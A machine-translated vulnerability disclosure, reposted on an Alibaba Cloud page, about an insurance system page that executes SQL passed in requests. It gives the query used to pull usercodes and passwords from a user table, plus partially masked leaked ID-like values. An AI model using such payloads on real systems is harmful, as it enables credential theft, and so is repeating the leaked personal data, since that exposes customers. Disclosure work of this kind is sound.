Home > Developer Tools > Windows System Tutorials

Somewhere Jiangtai insurance system improper design can be directly executable SQL affect account password and a large number of customer policy information

Source: Internet
Author: User
Keywords Password policy
Tags account password analysis customer design http index information jsp
Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞

Improper design

mask area

1.http: //**.**.**/

Analysis of a page, through the capture package can be directly executed SQL:

mask area

1.http: //**.**.**/index/indexTest.jsp

Capture package:

Conditional execution, repeat request packet, remove the conditions:

select usercode, password from LDQueryUser & 1 & 0 & 0

Send get back as follows:

Get a lot of account password:

mask area

***** 1 ^ 522530199603130016 | 130016 ^ 5225011964110 *****

Intercepting part of the message Trying to log in:

solution:

See the analysis

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
how to find the square root of a large number sql password policy employee information system database design sql server disable password policy can anyone be a programmer can i be a programmer sql can be used to
Related Article
Windows Remote Desktop Connection issues_Ubuntu Xrdp Remote D...
Install xrdp on Ubuntu Server Using Graphical Interface (16.0...
Use Xrdp to Implement Windows Remote Desktop Ubuntu Linux
How to Install Ubuntu Xrdp Server on (18.04 Version)
Windows Remote Desktop Connected to Linux Server (Ubuntu System)
Windows10 How to uninstall delete Microsoft Pinyin Input Method

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

Hot Article
Hot Tags
computing conference access forum computer class data get http html applications
Popular Keywords
html add blank space register business logo register ssl certificate full site sign in sign up node js build cloud register register a subdomain in python network management system tutorial how to learn computer science by myself

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More